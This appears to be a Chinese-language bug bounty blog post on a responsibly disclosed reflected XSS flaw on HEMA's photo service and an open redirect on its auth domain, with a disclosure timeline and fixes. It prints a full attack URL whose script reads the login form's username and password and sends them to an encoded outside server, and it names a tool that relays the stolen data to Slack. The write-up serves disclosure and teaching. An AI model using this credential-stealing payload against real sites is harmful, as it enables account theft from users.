HEMA照片服务反射型XSS漏洞分析与利用

本文详细分析了荷兰HEMA公司照片服务子域存在的反射型XSS漏洞,包括漏洞发现过程、Payload构造技巧、凭证窃取方法,以及如何通过私有Slack通道接收被盗数据,最终获得100欧元奖励的完整技术细节。

反射型XSS在fotoservice.hema.nl的发现与利用

概念验证

浏览器上方显示攻击界面,下方私有Slack通道实时展示窃取的用户凭证。

背景介绍

反射型XSS漏洞极具挖掘乐趣:它们无处不在,且经过精心构造的注入载荷可能产生重大影响。本文将展示如何发现反射型XSS漏洞并构造定制化Payload,过程中会遇到各种限制并找到有效的绕过方法。

HEMA背景

HEMA是荷兰最不可或缺的品牌之一,以香肠(worst)、苹果派(appeltaart)和遍布全国的杂货店闻名。

漏洞挖掘许可

通过查看英文免责声明,确认允许搜索漏洞并报告,甚至可能获得奖励。荷兰版免责声明还补充了奖励细节:“美味的HEMA苹果派!"——这意味着我们可能用漏洞换取HEMA香肠和苹果派。

侦察阶段

作为客户计划订购照片打印服务时,开启了Burp Suite社区版拦截HEMA.nl流量。推荐使用Param Miner和Paramalyzer扩展:

  • Param Miner帮助发现查询字符串和POST正文中的隐藏参数
  • Paramalyzer创建目标参数站点地图,可视化不同端点间关系

手动站点地图构建

通过Chrome浏览器配合SwitchyOmega扩展代理配置,手动探索发现:

  • Hema.nl顶部菜单"照片服务"指向子域https://foto.hema.nl/
  • 用户菜单中出现"我的照片项目"新链接
  • 点击后跳转至认证端点auth.hema.digital,需将该域添加至Burp目标范围

附加发现:开放重定向漏洞

在auth.hema.digital发现delegation_url和token参数。将URL替换为Protozoan.nl后,Location头成功被篡改——确认为开放重定向漏洞,可用于钓鱼攻击。

反射型XSS挖掘

重点参数targetPage包含URL值,该值被反射在script标签块中。需要突破window.location.href字符串限制来执行JavaScript。

突破步骤:

  1. 注入单引号闭合字符串(失败,被URL编码)
  2. 注入闭合标签(失败,被防火墙拦截)
  3. URL编码(失败,不再反射)
  4. 测试特殊字符< > /(失败,被服务器拒绝)
  5. 移除URL起始部分成功——重写为/user/‘反射参数值’且无URL编码
  6. 确认可安全使用( ) ;字符
  7. 构造经典的alert(1)验证载荷

最终Payload解析

完整攻击URL:https://fotoservice.hema.nl/user/login.html?targetPage=%27;w=%27%23%27;window.stop();alert(%27Proof-of-Concept-by-Jonathan-Bouman%27);document.images[0].src=atob(%aHR0cHM6Ly95b3VyLW93bi1ibGluZC14c3Mtc2VydmVyL2hlbWEv/%27)%2bloginForm.login.value%2b%27%3a%27%2bloginForm.password.value;alert(%27Stolen-password%3a%27%2bloginForm.password.value%2b%27.Now-redirect-user.%27);setTimeout(%27window.location.href=window.location.hostname%27,3000);%27

技术要点:

  • %27; 闭合字符串并结束行
  • w=%27%23%27; 添加#字符使服务器允许使用[]字符
  • window.stop() 阻止原始重定向
  • document.images[0].src 通过图片源变更外传数据
  • atob() Base64解码绕过防火墙字符检测
  • setTimeout 3秒后重定向用户至原域名

Slack集成

使用https://github.com/mazen160/xless 工具搭建盲注XSS服务器,将窃取数据自动推送至私有Slack通道。

限制条件

需要用户加载含Payload的URL,且仅在用户成功登录后触发。

时间线

  • 05-08-20 发现XSS漏洞#1和开放重定向
  • 05-09-20 发现XSS漏洞#2-#5
  • 05-11-20 发现SQL注入漏洞
  • 05-14-20 获得100欧元礼品卡奖励
  • 06-05-20 因整体贡献获得额外奖励

解决方案

  • 开放重定向:使用URL白名单机制
  • XSS漏洞:对用户输入进行编码/转义处理,或采用白名单方案

总结

成功演示了auth.hema.digital的开放重定向漏洞和fotoservice.hema.nl的反射型XSS漏洞,攻击者可组合利用这些漏洞窃取用户凭证。HEMA的负责任披露流程值得赞赏——明确的披露政策、快速友好的响应,以及用苹果派和礼品卡奖励安全研究人员。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计